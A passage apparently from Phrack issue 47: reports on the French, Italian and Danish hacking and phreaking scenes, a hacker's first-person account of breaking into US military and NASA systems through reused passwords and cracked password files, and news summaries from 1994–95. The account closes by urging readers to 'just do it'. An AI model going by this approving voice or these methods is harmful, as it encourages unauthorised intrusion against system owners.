‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As I said, the T1 is the only way for a Teletel hacker to evolve to hacking Internet or International & ASCII X25. On Teletel 1, you can sometimes log on to some interesting Unixes, Vaxes etc.

T1 is also the only way on Teletel to use the International X25 network. You have to get a Transpac NUI to call a foreign address from T1. Until 1991, the Transpac NUIs were a 4 to 6 random alphanumeric characters. A man called IER had made an NUI Scanner that allowed him to find NUIs by scanning out every 4 character NUI. It WAS effective, but Transpac changed to a 6 character NUI. (IER was busted and caught. No news from him since that day!)

Many good hackers used T1 a lot to hack systems and to go on the Internet and the Intl X25 networks. For example, you may have heard of people like Netlink, Furax, Jansky or Synaps. They hacked X25 and Internet but it seems that each of them was busted and caught. Some are still alive on the Net, but some aren't!!!

Some French hackers were really good but it seems that no one can hide very long from the DST. They are very effective, and with the help of France Telecom, they trace back a lot of calls.

Places like QSD haven't been used very much by the French because of their lack of technological knowledge. ahem...

Moreover, QSD/The Line is tapped by governmental agencies so g00d French hackers don't like it.

IV‑ The groups

‑‑‑‑‑‑‑‑‑‑

Some groups have been formed in France but they've never lived long enough to give new hackers the knowledge of the old hackers. Some groups were: NICK, Hardcore Hackers, Piratel, TeKila Underground. Many of them were hacking systems in Teletel 1.

A group called CCCF appeared in 1991. It was founded by Jean Bernard Condat and in fact it was not really a group. This guy, JBC, is deft at maneuvering people into doing what he wants. He organized fake contests like "The price of the Chaos" to get more information and then act as if he personally discovered the hacks that were given to him.

He recently started the Chaos newsletter where nothing originates from him...it's taken from everywhere and from his personal contacts.

He has big power because he works for SVP which is a private information company that has the goal of providing information to whoever wants it, for a large amount of money.

Nobody knows what JBC really wants but he is definitely a threat to the underground. Somebody, I don't recall who, already mentioned that in Phrack.

V‑ Phreaking in Phrance

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phone phreaking became really active in France in 1992 after the massive release of a blue box that worked in France. Several months later discovery of this caused the death of blue boxing from France.

The blue box program was running on ST and several people that used it formed the TeKila Underground. As far as i know, this was an happy group that had a lot of parties and liked smoking... :)

They weren't very effective: just into using the blue box.

Then came the movement of the "Horlogers", it was due to the credit you could gain if you connected in Teletel 3 on some server. The "horlogers" were staying HOURS and DAYS on a server with blue box just to have more credit (counted in minute of connection) on those server.

They were staying connected on a place called "L'horloge" (the timer) that enabled you not to be disconnected by the server when being idle for a long time.

Blue boxing is now very hard in France. The Australian blue box ceased to work and a lot of phreakers couldn't phreak anymore.

The real problem in France is that nobody (or almost nobody) knows how the France Telecom phone network works so we can't really use any flaws in this system.

Calling cards have been heavily used in France, placing the country in the top ten consumers of stolen CC's. When AT&T & MCI saw that, they contacted France Telecom and now each calling card from AT&T, MCI can't call back to France.

Moreover, FT's CC called "Carte France Telecom" (CFT or CP) is traced and recorded: I mean, when the person who owns the CFT receives the bill, written on the bill is the number of the caller and of the called party.

HARD isn't it?

Recently, some busts were done on AT&T and MCI CC users. They are now awaiting trial.

VI‑ Magazines

‑‑‑‑‑‑‑‑‑

Back before 1990 a magazine was published twice and sent to every single university in France. It was called "Hackito" from the "Hackito ergo sum" motto. (I've never found an issue of it, but if you have one, send me it to me in email.)

There is also this shitty zine called Chaos...

Now, a new zine is making the underground react in France:

It's called "N0 Way" and I'm the Editor.

This magazine is written entirely in French. The current issue is number 3. Anyone wanting to submit something to "N0 Way" can send me a message in Email.

Today we are seeing a lot of people in France wanting to know more about hacking. It seems to have taken off here but not as much as in Holland or in the USA.

Email me to receive "N0 Way": an133729@anon.penet.fi

NeurAlien.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Italian Scene

by

Zero Uno

Italy, as you know, is among the industrialized EEC powers. It deserves this honor only to the work of talented people, not by its government, which is utterly idiot and totally unable to fulfill the needs of the people. This characteristic inevitably has conditioned the whole telecommunication market, both phone and networks, which must make clever long term decisions, something that Italian government is not able to do. The phone company is owned by the government through Italy Telecom (IT), the new society formed by the previous three state‑owned firms involved in communications. In the last five years IT has undoubtedly made good work, but the quality of phone connections and service was so bad in the past, that many people feel very upset when comes to talk to IT.

The Telephone System

Italy is divided in 220 telephone districts, each with its own unique prefix: a zero followed by a number (up to three digits). In addition there are a few special prefixes in order to access cellular phones (0335,0336) or to reach some 'fake' locations (0769), like many tv programs that use the telephone to reach people. (Like 555 in the USA) In this way IT protects itself from line congestions when successful TV‑progs are involved. All kind of modern connections are availabl. This means that payphones, pagers, cellulars (ETACS and GSM), radio (an old, now unsupported phone for cars in 400 Mhz range) are present. Another strange beast is televoting (0869) a fake prefix that holds the number of incoming calls for polls. It was used to test some political decisions, but the hack here was so evident (the redial button) that now televote is not so well thought of.

Standard Numbering

The numbers that begins with the digit '1' are reserved for special services. This include all amenities like emergency numbers (113, roughly the equivalent of American 911), 187 (an all‑but‑everything number for all requests to IT, such ordering a new phone, installing a new line and so on) and toll free numbers 167[0 or 8] xxxxx. As a reminder about IT's long term planning capacity, the toll free numbers started as 1678‑xxxxx, but were so successful that IT was forced to add the 1670‑xxxxx later |‑(! All 1678‑7xxxx are in use by foreign phone companies, and heavily scanned |‑).

Some pretty numbers:

1678‑72341 A promo for a XXX‑rated line (in north or south america) 1678‑70152 See the following capture

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ CAPTURE ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

OFFICIAL USE ONLY

Í»

FAMNET (sm)

AFAS HQ

and

AF FSCs

Í¼

This system is for the use of authorized users ONLY. Individuals using this computer system without authority, or in access of their authority, are subject to having all of their activities on this system monitored and recorded by system personnel. In the course of monitoring individuals improperly using this system, or in the course of system maintenance, the activities of authorized users may also be monitored. Anyone using the system expressly consents to such monitoring and is advised that such monitoring reveals possible evidence of criminal activity, system personnel may provide the evidence of such monitoring to law enforcement officials.

Line trace initialized........................................

We now have your phone number......WE TRACK HACKERS AND ADVISE AUTHORITIES.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END OF CAPTURE ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Unfortunately IT does not support caller ID, so the last sentence is pure crap.

The above numbers are (obviously) all public. These ones are 'reserved' for internal use, though many many people play with 'em:

135 BBS to record maintenance procedures

138 BBS or human operator (depend on districts) 1372 Ring‑back

1391 Human operator

160 Security service (???)

1414 A yet‑to‑be‑implemented service, that enables a user to use one phone and bill on their own phone the subsequent call. Will be implemented |‑)?

Not all districts support this, and since they are not public they can change rapidly. Also present are the country direct numbers in the 1721xxx format.

Country Code

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Argentina 054

Brazil 055

Chile 056

AT&T 011

MCI 022

Sprint 877

Services Offered

With the advent of digital COs, 'new' (new to the Italian market, anyway) services were provided. The so called STS (additional telephone services) allowing (obviously paying) the teleconference (three user talking simultaneously), incoming call signal when you are talking with another party, and finally calling transfer, useful when you are away from home. The current pulses billed can be inquired (paying one pulse, obviously!).

The Packet Networks

There is only one packet network provider, ITAPAC (DNIC 2222). As with other packet networks, the access is available with a PAD that accepts only NUI accounts (non‑reverse charging) and those who accept reverse‑charge calls (in ITAPAC lingo, the 'easy way'). These are heavily hacked because it is the most widespread network in Italy (and the most unreliable, insecure, *bad*) and also because some NUI users simply were not aware of the costs of this kind of service, and they have payed all the phreakers' bills too!

Sometimes, for promotional sales, some NUIs were discharged to the public. Other were disseminated by phreakers, collected by PAD (only a few NUIs are valid across different PADs, most aren't). Until some time ago QSD France was the most 'in' PAD site. Another common activity was surfing across Packet Networks of different states. Now many common NUIs were deleted from system, but some still survive. Many times the net is unusable because has reached its maximum load or because of for system outages. Also, even if the ports run at 2400 bps, is not uncommon to reach the same speed of a 1200 bps connection. Use it if you don't pay or pay a limited fee for it.

The H/P/C/V Scene

Common folklore depicts Italians as adaptable to unfriendly environments in a clever way. Although these rumors are not completely true, there is an Italian way of H/P/C/V. Hacking in Italy is not a common activity. There are several teens who spent lot of effort to learn some tricks, but they are teens, with all pros and cons. Rarely do these individuals survive the 20 years‑old barrier, for one reason or another. Those who survive generally self‑limit their actions to a restricted area, and generally remain anonymous. The few that remain are the brightest, with lot of know‑how and abilities. I only know two people at this top rank level. Hacking is focused on setting up unauthorized fsp sites in university computers, removing licenses to pro warez and gaining illicit access to some resources in internet or in ITAPAC. ITAPAC is now no longer a key issue since ITAPAC (and Italy in general) has very few computing resources, and ITAPAC has severe security problems, so it is predated by hacker wannabees. Also Italy lacks of H/P groups like LOD,MOD and the CCC. Apart from Omega Team, to my knowledge no other group has existed.

Phreaking used to be fairly common, but now is much less so because of new digital COs and stricter security. Blue boxing to USA was *very* common until January 1, 1992. On this date, the software that controls the traffic over North America was changed, and boxing to USA is no longer possible. Carding now is the only phreak access, and is used mainly by warez board sysops. Rumors said that the software update was imposed on ITALCABLE (that manages international calls) by AT&T due to the *huge* illicit traffic between Italy‑USA. Basically, too many people, even non H/P ones ('friends of friends') were using blue‑boxes even without the faintest idea of how they worked. Some hackers have sold boxes to normal people, and this probably was the key to the blocking of illicit calls. Now, to my knowledge, is possible to box only to Chile, Argentina and some other third‑world countries.

True H/P BBS are few. One, Pier Group's BBS was the most famous, in part because one member, MFB (short for MF the Best, basically the best Italian phreaker in my opinion), has written a series of humorous stories about hackers and lamerz, that had a phenomenal success. But since Pier (the sysop) was also invloved in some other illegal activities apart phreaking (stolen hardware, carding), and in this kind of activity too much advertising equals certain arrest, the board went down. Most other BBS are warez‑oriented, with warez from THG, Razor 1911 and other USA crack groups. Note however that unlike other nations, Italy has no group HQs: what counts is money, not being part of a group. Many BBS are double‑sided: one a ligit, more or less lame, part of a legal net like FidoNET, the other accessible only to subscribers, with warez. This has changed however since the Italian Hacker Crackdown. This is not because the police raided the warez boardz (they are too ignorant to do this) but because warez sysops, in fear of being caught, have (temporarily) closed their BBSes.

Virusing has some players, though not very publicized, for obvious reasons. One has recently become famous (Dr. Revenge) for his contributions to Insane Reality, another H/P/V journal that published some 'secret' telephone numbers for United Kingdom officials.

Nothing really new in Italy, as you can see. Newspapers are (as are most people) too ignorant to correctly report these problems, with the result being that the 'legal' portion of network fanatics fear other unjustified police raids, and legislators are becoming very unfriendly when dealing with this kind of communication. Several politicians and media moguls are proposing laws that forbid anonymous access to the Net, and universities are very concerned about these subjects. Two students were recently arrested because they used illicit (but almost public) passwords to surf the net (*only* to see things, *no* data damage).

Italy may one day become very unfriendly to net people, even if Italians are generally considered very friendly.

Zero Uno

mc1671@mclink.it *only* using PGP, otherwise no response.

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.3

mQCNAi7zXJ0AAAEEAM3SZQp0+By7fi7ey/oiTU6TT5CdMYdkYnkDeM8f2bZ75Pdp 4mv9C0BTVRP0UrYgJO1I+8YrwvSjZK7+U3hty+c97RJ5lnSYQ0BbF7puSwhUxj4W AyytlQZVP6j1r4H8ulse1arIVlD9h2+GceXOx09J5uEqqhRG/uo1W3A51ixFAAUR tBtaZXJvIFVubyA8bWMxNjcxQG1jbGluay5pdD4=

=9GnS

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

THE DANISH SCENE BY LE CERVEAU

In the last issue of Phrack (46) I read an article about the Danish Computer Underground. Though, I was pleased with the text, a lot of stuff has happened since which I hope most of you have heard about. Anyway, here's an update..

In short, most (nearly all..) of the Inner Circle hackers in Denmark have been busted. It all went down December 1993 where I,

Descore (Zephyr), Dixie (Nitecrawler) were busted at exactly the same time. After the 3 busts several more followed: WedLock, Netrunner, Darkman + some others. I had to spend 14 days in isolation while the others were released (somewhat due to my own stupidity).

The busts were made because all of the universities in DK had been more or less taken over by hackers and the FBI + CERT & ASSIST worked together. The police told me that UNI*C was threatened to be cut off the Internet if the hacking from Denmark didn't stop (don't think that's the truth though. They bullshit alot..).

So, of course the Danish police had to do something and they asked the infamous Joergen Bo Madsen for help. And they got it. And the situation in DK was getting out of control too ‑ the Phone Company was hacked, DK's main research center hacked. No damage to ANYTHING was done though, but naturally we had to be stopped. Actually, the Phone Cmp. screwed up their own system trying to stop us ‑ and now they blame us!

Now we're all awaiting trial. It might take a while, since they said they'd start 'breaking' the PGP‑encrypted files with UNI*C's computers ;).... I'd think if they did that, it'd be quite a while before trials!

Busted in DK: Zephyr aka Descore, Dixie, WedLock, Netrunner, Darkman, Lazarus, Jackal and me (LC).. + Joshua some idiot who might have helped the police a whole lot.

After the bust of Jackal the police says they can't handle anymore so there won't be any.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

BUSTED

BY LE CERVEAU

I've been busted. Why speak out loud? Why not? I'm screwed anyway.

I was stunned. About six‑seven months before my bust I succeeded in breaking into a Pentagon computer (pentagon‑emh4.army.mil ‑‑> otjag.army.mil). What actually launched my interest in this computer was a file about UFOs where it was listed. Now I have realized that had I found anything top secret about UFO cover‑ups I probably wouldn't have released it. It wants to be free ‑ but the question is to what degree.. I knew of course that it couldn't be one of their top secret computers (actually, OTJAG=Office of The Judge Attorney General ‑ AFAIR) but I also knew that it would be the start of something big ‑ one thing always leads to another.

After a couple of weeks on the system, doing nothing but leeching all the mail I could get my hands on I discovered that one of the majors used an Air Force base‑server (flite.jag.af.mil ‑ AFAIR). As I suspected, all I had to find was his login ‑ the password was exactly the same. And again this had to lead to more and it did.

I found some stupid sergeant who also was a user on TACOM

(Tank Automotive COMmand). Surely, even though stupid he wouldn't use the same.. ‑ yup, he did. Access to tacom‑emh1.army.mil and all their other machines granted. If you want one of the

largest lists of MilNet sites then grab /etc/hosts from TACOM. After gaining SU‑access on this machine interesting things started happening. If, for example, an officer was to issue some order (of course not any orders concerning war) it'd look something like this:

You have to report at HQ Monday latest. Your travelling plans

for the international conference <blah> <blah> <blah>..

// Signed //

Col. Joe Wilkins

and then some more approved signatures would follow by some

other persons. Of course I grabbed all the mail on TACOM.

After a month or so I was locked out of the Pentagon system ‑

and it changed it's address to otjag.army.mil. But I didn't

really care. I knew MilNet pretty good so why not I thought..

I started thinking military‑systems only ‑ a dangerous thing

to do. I ended up using all my time on it and was therefore

also rewarded. Soon I would have access to more than 30 military systems around the globe and I knew I was getting in over my head but I had to keep going ‑ I felt there was no way back. I could have told myself that having to hide on all of these systems

would be almost impossible. But things seemed to be going just fine. Just how idiotic can you get?

With access to some CM‑5's and a CM‑200 at Naval Research Labs

and all the wordfiles in the world no system stupid enough to

let their passwd‑file get taken stood a chance ‑ one account with encrypted passwd was enough. All I had to do was start Crack on the CM‑200 and wait.

I took interest in some of the government machines ‑ they weren't as hard to hack as the mil's and I soon lost interest. Except in NASA. I got in on one of their smaller machines (*.gsfc.nasa.

gov) and I knew I just had to wait and it would lead to something more.

Now 'strange' things started happening. Imagine this: I log in

on TACOM. I log out. When I try to log in again it's impossible from the same site; I have to use another ‑ that's when I knew that someone was watching my every step, trying to stop me. Later it started happening to me no matter how I accessed the nets. That's when I knew the end was near. A month later I was busted by

the FBI in Denmark ‑ that's the way I feel even though it was the Danish police. Actually, the trace was made through *.wwb.noaa.gov which I was using a while for cracking.

That's my story ‑ very shortened! If anyone is interested in details mail me at Restricted Access # +45‑36703060.

Last Words: Don't do it ‑ don't do it.. It'll get you into all kinds of shit.. Why bother the nice governments and their so trustworthy agencies? On second thought: Just do it!

[Editors note: Along with this file I was sent a capture of one of the aforementioned hacks (which I promptly deleted). It looked like our Danish friends were in a host at the office of the Judge Advocate General. Knowing how the JAG is going to handle cases isn't exactly the kind of thing anyone in the military really wants floating around.

Phrack World News

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 22 of 22

PWN PWN PNW PNW PNW PNW PNW PNW PNW PNW PNW PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Compiled by Datastream Cowboy PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

3 Residents Investigated In Theft Of Phone Card Numbers Oct 10, 1994

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Russ Britt (Los Angeles Daily News)

Three Los Angeles residents have come under investigation in connection with the theft of 100,000 telephone calling card numbers used to make $50 million worth of long distance calls, officials said.

The Secret Service searched the suspects' residences over the past two weeks and found computer disks containing calling card codes, said Jim Bauer, special agent‑in‑charge of he Los Angeles office.

Ivy J. Lay, an MCI switch engineer based in Charlotte, N.C., was arrested last week in North Carolina on suspicion of devising computer software to hold calling card numbers from carriers that route calls through MCI's equipment, the Secret Service said.

Lay is suspected of supplying thousands cards of calling codes to accomplices in Los Angeles for $3 to $5 a number, Bauer said. The accomplices are suspected of reselling the numbers to dealers in various cites, who then sold them to buyers in Europe, Bauer said.

European participants would purchase the numbers to make calls to the United States to pirate computer software via electronic bulletin boards.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Revealed: how hacker penetrated the heart of British intelligence Nov 24, 1994

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Tim Kelsey (The Independent) p. 1

[ In typical British style, The Independent boasts 3 FULL pages on the story of how a "hacker" broke into British Telecom's databases and pulled information regarding sensitive numbers for the Royal Family and MI 5 & 6.

Reportedly, information was sent anonymously to a reporter named Steve Fleming over the Internet by a "hacker" who got a job as a temp at BT and used their computers to gather the information. (I heard that Fleming later admitted that "he" was actually the supposed "hacker.")

This is news? This is like saying, "Employees at Microsoft gained access to proprietary Microsoft source code," or "CAD Engineers at Ford gained access to super‑secret Mustang designs." Get real. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Telecom admits security failings Nov 29, 1994

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Tim Kelsey (The Independent) p. 1

[ In typical British style, senior officials at BT attempted to save face by stating that sensitive information such as the file of Royal Family and Intelligence services phone numbers and addresses (currently floating around the Internet) was safe from prying eyes, but could indeed be accessed by BT employees. Uh, yeah. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phreak Out! Dec 1994

~~~~~~~~~~~

by Steve Gold (Internet and Comms Today) p. 44

[ A valiant attempt by England's Internet & Comms Today (my favorite Internet‑related magazine‑‑by far) to cover the Hack/Phreak scene in the UK, with a few tidbits about us here in the states. Not 100% accurate, but hell, it beats the living shit out of anything ever printed by any US mainstream mag. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hack To The Future Dec 1994

~~~~~~~~~~~~~~~~~~

by Emily Benedek (Details) p. 52

Hacking Vegas Jan 1995

~~~~~~~~~~~~~

by Damien Thorn (Nuts & Volts) p. 99

[ A review of HOPE, and a review of DefCon. One from a techie magazine whose other articles included: Build a Telephone Bug, Telephone Inside Wiring Maintenance, Boat GPS on Land and Sea and Killer Serial Communications; the other from a magazine that usually smells more fragrant than Vogue, and whose other articles included: The Madonna Complex, Brother From Another Planet, Confessions of a Cyber‑Lesbian and various fashion pictorials. One written by someone who has been in the hack scene since OSUNY ran on an Ohio‑Scientific and the other written by a silly girlie who flitted around HOPE taking pictures of everyone with a polaroid. You get the idea. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hackers Take Revenge on the Author of New Book on Cyberspace Wars Dec 5, 1994

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Jared Sandberg (The Wall Street Journal) p. B5

In his forthcoming book writer Joshua Quittner chronicles the bizarre but true tale of a Hatfield‑and‑McCoys feud in the nether world of computer hackers.

Now the hackers have extracted revenge for Mr. Quittner's attention, taking control of his phone line and voice mail and bombarding his on‑line account with thousands of messages.

"I don't believe I've ever been hacked to this degree," says Mr. Quittner, whose book, written with wife Michelle Slatalla, was excerpted in the latest issue of Wired magazine, apparently prompting the attack.

"People in MOD and LOD are very unhappy about the story," Mr. Quittner says. "That is what I believe prompted the whole thing."

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Terror On The Internet Dec 1994

~~~~~~~~~~~~~~~~~~~~~~

By Philip Elmer‑Dewitt (Time)

Thanksgiving weekend was quiet in the Long Island, New York, home of Michelle Slatalla and Josh Quittner. Too quiet.

"We'd been hacked," says Quittner, who writes about computers, and hackers, for the newspaper Newsday, and will start writing for TIME in January. Not only had someone jammed his Internet mailbox with thousands of unwanted pieces of E‑mail, finally shutting down his Internet access altogether, but the couple's telephone had been reprogrammed to forward incoming calls to an out‑of‑state number, where friends and relatives heard a recorded greeting laced with obscenities. "What's really strange," says Quittner, "is that nobody who phoned, including my editor and my mother, thought anything of it. They just left their messages and hung up."

It gets stranger. In order to send Quittner that mail bomb, the electronic equivalent of dumping a truckload of garbage on a neighbor's front lawn, someone, operating by remote control, had broken into computers at IBM, Sprint and a small Internet service provider called the Pipeline, seized command of the machines at the supervisory, or "root", level, and installed a program that fired off E‑mail messages every few seconds.

Adding intrigue to insult, the message turned out to be a manifesto that railed against "capitalist pig" corporations and accused those companies of turning the Internet into an "overflowing cesspool of greed." It was signed by something called the Internet Liberation Front, and it ended like this: "Just a friendly warning corporate America; we have already stolen your proprietary source code. We have already pillaged your million dollar research data. And if you would like to avoid financial ruin, get the ((expletive deleted)) out of Dodge. Happy Thanksgiving Day turkeys."

It read like an Internet nightmare come true, a poison arrow designed to strike fear in the heart of all the corporate information managers who had hooked their companies up to the information superhighway only to discover that they may have opened the gate to trespassers. Is the I.L.F. for real? Is there really a terrorist group intent on bringing the world's largest computer network to its knees?

That's what is so odd about the so‑called Internet Liberation Front. While it claims to hate the "big boys" of the telecommunications industry and their dread firewalls, the group's targets include a pair of journalists and a small, regional Internet provider. "It doesn't make any sense to me," says Gene Spafford, a computer‑security expert at Purdue University. "I'm more inclined to think it's a grudge against Josh Quittner."

That is probably what it was. Quittner and Slatalla had just finished a book about the rivalry between a gang of computer hackers called the Masters of Deception and their archenemies, the Legion of Doom, an excerpt of which appears in the current issue of Wired magazine. And as it turns out, Wired was mail‑bombed the same day Quittner was, with some 3,000 copies of the same nasty message from the I.L.F. Speculation on the Net at week's end was that the attacks may have been the work of the Masters of Deception, some of whom have actually served prison time for vandalizing the computers and telephone systems of people who offend them.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Phreak Show Feb 5, 1995

~~~~~~~~~~~~~~~

By G. Pascal Zachary (Mercury News)

"Masters of Deception" provides an important account of this hidden hacker world. Though often invoked by the mass media, the arcana of hacking have rarely been so deftly described as in this fast‑paced book. Comprised of precocious New York City high schoolers, the all‑male "Masters of Deception" (MOD) gang are the digital equivalent of the 1950s motorcyclists who roar into an unsuspecting town and upset things for reasons they can't even explain.

At times funny and touching and other times pathetic and disturbing, the portrait of MOD never quite reaches a crescendo. The authors, journalists Michelle Slatalla of Newsday and Joshua Quittner of Time, fail to convey the inner lives of the MOD. The tale, though narrated in the MOD's inarticulate, super‑cynical lingo and packed with their computer stunts, doesn't convey a sense of what makes these talented oddballs tick.

Too often the authors fawn all over their heroes. In "Masters of Deception," every hacker is a carefree genius, benign and childlike, seeking only to cavort happily in an electronic Garden of Eden, where there are no trespassing prohibitions and where no one buys or sells information.

Come on. Phiber and phriends are neither criminals nor martyrs. The issue of rights and responsibilities in cyberspace is a lot more complicated than that. Rules and creativity can co‑exist; so can freedom and privacy. If that's so hard to accept, a full 25 years after the birth of the Internet, maybe it's time to finally get rid of the image of the hacker as noble savage. It just gets in the way.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hacking Out A Living Dec 8, 1994

~~~~~~~~~~~~~~~~~~~~

by Danny Bradbury (Computing) p. 30

There's nothing like getting it from the horse's mouth, and that's exactly what IT business users, anxious about security, did when they went to a recent conference given by ex‑hacker, Chris Goggans.

[ Yeah, so it's a blatant‑plug for me. I'm the editor. I can do that. (This was from one of the seminars I put on in Europe) ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Policing Cyberspace Jan 23, 1995

~~~~~~~~~~~~~~~~~~~

by Vic Sussman (US News & World Report) p. 54

[ Yet another of the ever‑growing articles about high‑tech cops. Yes, those dashing upholder of law and order, who bravely put their very lives on the line to keep America free from teenagers using your calling card.

Not that I wouldn't have much respect for our High‑Tech‑Crimefighters, if you could ever show me one. Every High‑Tech Crime Unit I've ever seen didn't have any high‑tech skills at all...they just investigated low‑tech crimes involving high‑tech items (ie. theft of computers, chips, etc.) Not that this isn't big crime, its just not high tech. Would they investigate the theft of my Nientendo? If these self‑styled cyber‑cops were faced with a real problem, such as the theft of CAD files or illegal wire‑transfers, they'd just move out of the way and let the Feds handle it. Let's not kid ourselves. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hacker Homecoming Jan 23, 1995

~~~~~~~~~~~~~~~~~

by Joshua Quitter (Newsweek) p. 61

The Return of the Guru Jan 23, 1995

~~~~~~~~~~~~~~~~~~~~~~

by Jennifer Tanaka and Adam Rogers (Time) p. 8

[ Two articles about Mark "Phiber Optik" Abene's homecoming party. Amazing. Just a few years earlier, Comsec was (I think) the first group of hackers to make Time & Newsweek on the same date. Now, all someone has to do is get out of jail and they score a similar coup. Fluff stories to fill unsold ad space. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Data Network Is Found Open To New Threat Jan 23, 1995

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by John Markoff (New York Times) p. A1

A Federal computer security agency has discovered that unknown intruders have developed a new way to break into computer systems, and the agency plans on Monday to advise users how to guard against the problem.

The first known attack using the new technique took place on Dec. 25 against the computer of a well‑known computer security expert at the San Deigo Supercomputer Center. An unknown individual or group took over his computer for more then a day and electronically stole a large number of security programs he had developed.

The flaw, which has been known as a theoretical possibility to computer experts for more than a decade, but has never been demonstrated before, is creating alarm among security experts now because of the series of break‑ins and attacks in recent weeks.

The weakness, which was previously reported in technical papers by AT&T researchers, was detailed in a talk given by Tsutomo Shimomura, a computer security expert at the San Deigo Supercomputer Center, at a California computer security seminar sponsored by researchers at the University of California at Davis two weeks ago.

Mr. Shimomura's computer was taken over by an unknown attacker who then copied documents and programs to computers at the University of Rochester where they were illegally hidden on school computers.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A Most‑Wanted Cyberthief Is Caught In His Own Web Feb 16, 1995

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by John Markoff (New York Times) p. A1

After a search of more than two years, a team of FBI agents early this morning captured a 31‑year‑old computer expert accused of a long crime spree that includes the theft of thousands of data files and at least 20,000 credit card numbers from computer systems around the nation.

Federal officials say Mr. Mitnick's confidence in his hacking skills may have been his undoing. On Christmas Day, he broke into the home computer of a computer security expert, Tsutomo Shimomura, a researcher at the federally financed San Deigo Supercomputer Center.

Mr. Shimomura then made a crusade of tracking down the intruder, an obsession that led to today's arrest.

It was Mr. Shimomura, working from a monitoring post in San Jose, California, who determined last Saturday that Mr. Mitnick was operating through a computer modem connected to a cellular telephone somewhere near Raleigh, N.C.

"He was a challenge for law enforcement, but in the end he was caught by his own obsession," said Kathleen Cunningham, a deputy marshal for the United States Marshals Service who has pursued Mr. Mitnick for several years.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Computer Users Beware: Hackers Are Everywhere

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Michelle V. Rafter (Reuters News Sources)

System Operators Regroup In Wake Of Hacker Arrest

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Elizabeth Weise (AP News Sources)

Computer Hacker Seen As No Slacker

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Paul Hefner (New York Times)

Kevin Mitnick's Digital Obsession

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Josh Quittner (Time)

A Superhacker Meets His Match

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Katie Hafner (Newsweek)

Cracks In The Net

~~~~~~~~~~~~~~~~~

by Josh Quittner (Time)

